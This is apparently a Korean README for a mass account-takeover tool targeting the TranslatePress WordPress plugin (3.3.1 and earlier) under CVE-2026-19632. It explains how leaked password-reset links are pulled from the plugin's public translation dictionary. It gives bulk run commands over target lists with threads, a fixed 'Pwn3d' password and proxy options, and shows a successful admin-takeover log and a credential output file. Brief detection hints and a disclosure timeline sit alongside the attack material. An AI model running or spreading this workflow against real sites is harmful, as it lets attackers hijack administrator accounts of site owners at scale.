
인증되지 않은 계정 탈취 PoC - TranslatePress Multilingual <= 3.3.1 (WordPress)
CVE-2026-19632에 대한 대량 계정 탈취 도구로, TranslatePress – Multilingual WordPress 플러그인(≤ 3.3.1)에서 비밀번호 재설정 링크 노출로 인해 발생하는 인증 없는 계정 탈취 취약점입니다. 대상 목록당 하나의 명령으로 전체 체인이 자동 실행되며, 성공한 모든 탈취는 발생하는 즉시 출력 파일에 기록됩니다.
면책 조항 — 승인된 사용에 한함. 이 도구는 실제 계정 비밀번호를 변경하고 실제 비밀번호 재설정 이메일을 발송합니다. 소유한 시스템 또는 명시적인 서면 테스트 허가를 받은 시스템에만 사용하십시오. 저자는 오용에 대해 책임지지 않습니다.
| CVE | CVE-2026-19632 |
| 제품 | TranslatePress – Multilingual (WordPress 플러그인, 슬러그 translatepress-multilingual), Cozmoslabs 제작 |
| 영향 범위 | 3.3.1 이하 모든 버전 (400,000개 이상 활성 설치) |
| 패치 버전 | 3.3.2 (수정: 공개 사전 AJAX 핸들러의 current_user_can 검사) |
| CVSS 3.1 | 9.8 CRITICAL — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (CNA: Wordfence) |
| CWE | CWE-200 (민감 정보 노출) + CWE-640 (취약한 비밀번호 복구 메커니즘) |
| 영향 | 인증 없는 관리자 계정 탈취 |
get_translations nonce를 포함한
trp_data를 출력합니다. 로그아웃 방문자용 nonce는 설계상 공개이며, 플러그인은 이를
보안에 의존합니다.wp_mail에 훅을 걸고 발신 이메일을
수신자의 로케일로 번역합니다. 익명 공격자가 프로필 로케일이 게시된 보조 언어인 관리자에 대해
wp-login.php?action=lostpassword를 트리거하면, 유효한 재설정 키가 포함된 일반 텍스트
wp-login.php?action=rp URL을 포함한 전체 재설정 이메일이 공격자의 요청 내에서 동기적으로
wp_trp_dictionary_<default>_<locale>에 삽입됩니다. SMTP가 작동할 필요조차 없습니다.trp_get_translations_regular는 wp_ajax_nopriv로 등록되어 있으며,
3.3.2 이전에는 공개 nonce만 검증했습니다. 누구나 string_ids로 사전을 열거하고 키를 추출할 수 있습니다.전체 기술 보고서: CVE-2026-19632-REPORT.md
cve-2026-19632.py목록의 모든 대상에 대해 전체 체인을 실행하는 단일 자체 포함 스크립트입니다:
readme.txt 폴백)trp_data + 언어 전환기 프로빙)url|username|password를 출력 파일에 추가 (플러시, 스레드 안전, 실행 완료 대기 없음)내장된 견고성:
--new-password로 고정 비밀번호).pip install -r requirements.txt
# 대상 목록에 대한 전체 실행, 20개 스레드
python cve-2026-19632.py -l targets.txt -o vuln.txt -t 20
# 모든 대상에 대한 고정 비밀번호
python cve-2026-19632.py -l targets.txt -o vuln.txt -t 10 --new-password 'Pwn3d!2026'
# 프록시 사용
python cve-2026-19632.py -l targets.txt -o vuln.txt -t 10 --proxy http://127.0.0.1:8080
| 옵션 | 설명 |
|---|---|
-l, --list | 줄당 대상 URL 하나가 포함된 파일 (# 주석 허용) |
-o, --output | 결과 파일, 형식 url|username|password (기본값 vuln.txt) |
-t, --threads | 동시 작업자 수 (기본값 10) |
--new-password | 모든 대상에 대한 고정 비밀번호 (기본값: 대상별 무작위 14자) |
--timeout | 요청당 제한 시간(초) (기본값 15) |
--proxy | HTTP 프록시, 예: http://127.0.0.1:8080 |
--no-color | 색상 출력 비활성화 |
랩 인스턴스(WordPress 7.0.4 + TranslatePress 3.3.1, ar 기본 → en_US 보조)에 대한 터미널 로그 — 값은 익명화됨:
[00:09:06] [INFO] CVE-2026-19632 takeover tool - 3 target(s), 3 thread(s)...
[00:09:06] [SKIP] http://example.com (no TranslatePress)
[00:09:07] [INFO] http://TARGET TP found - langs: ar->en_US, nonce=a1b2c3d4e5
[00:09:09] [INFO] username candidates: ['admin', ...]
[00:09:09] [WARN] attempt 1/3 failed (stale key)
[00:09:09] [WARN] attempt 2/3 failed (stale key)
[00:09:09] [WARN] attempt 3/3 failed (stale key)
[00:09:09] [INFO] all keys stale - fresh reset trigger...
[00:09:15] [TAKEOVER] http://TARGET SUCCESS - user='admin' password='Pwn3d!2026'
[00:09:15] [INFO] done. summary: ERROR=1 | SKIP=1 | TAKEOVER=1
vuln.txt (성공 시점에 실시간으로 기록됨):
http://TARGET|admin|Pwn3d!2026
vuln.txt를 민감한 산출물로 취급하십시오 — 활성 자격 증명 및/또는 유효한 재설정 키가 포함되어 있습니다..gitignore에 추가하십시오.
필요하지 않음: 작동하는 메일 서버 (URL은 전송 시도 전에 wp_mail 필터 내부에 저장됨).
security nonce가 있는 순차적 string_ids 열거에 대한 admin-ajax.php 로그 모니터링.| 날짜 | 이벤트 |
|---|---|
| 2026-08-12 | CVE-2026-19632 예약 |
| 2026-08-13 | 수정 사항이 포함된 TranslatePress 3.3.2 출시 |
| 2026-08-25/26 | Wordfence 권고 게시; 24시간 내 8,618건의 악용 시도 차단 |
| 2026-08-28 | ThaiCERT 권고 |
momopon1415) 및 Wordfence 팀, 3.3.2 변경 로그에 기재됨.MIT © 2026 ghostpel